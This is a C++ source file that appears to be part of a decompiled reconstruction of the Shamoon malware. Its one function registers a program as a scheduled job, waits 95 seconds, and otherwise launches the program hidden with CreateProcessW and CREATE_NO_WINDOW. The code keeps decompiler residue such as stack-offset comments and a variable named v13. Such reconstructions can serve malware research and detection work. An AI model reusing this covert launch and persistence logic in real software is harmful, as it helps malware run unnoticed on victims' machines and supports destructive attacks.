// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Entry.h"

#include "../Utils/String.h"
#include "../Utils/ScheduleJob.h"
#include "../Utils/Process.h"

using namespace Shamoon::Utils::String;
using namespace Shamoon::Utils::ScheduleJob;
using namespace Shamoon::Utils::Process;

bool Shamoon::Modules::Entry::StartServiceProcess(WCHAR *svc_name, const WCHAR *svc_path, DWORD *service_id)
{
	struct _STARTUPINFOW StartupInfo; // [sp+Ch] [bp-5Ch]@7
	struct _PROCESS_INFORMATION ProcessInformation; // [sp+50h] [bp-18h]@7
	WCHAR *svc_path_cpy; // [sp+60h] [bp-8h]@4
	bool v13; // [sp+67h] [bp-1h]@5

	if(!svc_name || !svc_path || !service_id) return 0;
	
	svc_path_cpy = (WCHAR *)VirtualAlloc(NULL, 2 * strlenW(svc_path) + 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if(svc_path_cpy)
	{
		memmove(svc_path_cpy, svc_path, 2 * strlenW(svc_path) + 2);
		v13 = 0;
		*service_id = 0;
		
		if(!AddNewJob(0, svc_path_cpy) || (Sleep(95000), *service_id = SearchProcessByIdOrName(0, svc_name) == 0))
		{
			memset(&StartupInfo, 0, 68);
			memset(&ProcessInformation, 0, 16);
			
			if(!CreateProcessW(NULL, svc_path_cpy, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &StartupInfo, &ProcessInformation))
			{
LABEL_10:
				VirtualFree(svc_path_cpy, 0, MEM_RELEASE);
				return v13;
			}
			
			*service_id = ProcessInformation.dwProcessId;
			
			CloseHandle(ProcessInformation.hThread);
			CloseHandle(ProcessInformation.hProcess);
			CloseHandle(StartupInfo.hStdError);
			CloseHandle(StartupInfo.hStdInput);
			CloseHandle(StartupInfo.hStdOutput);
		}
		
		v13 = 1;
		goto LABEL_10;
	}

	return 0;
}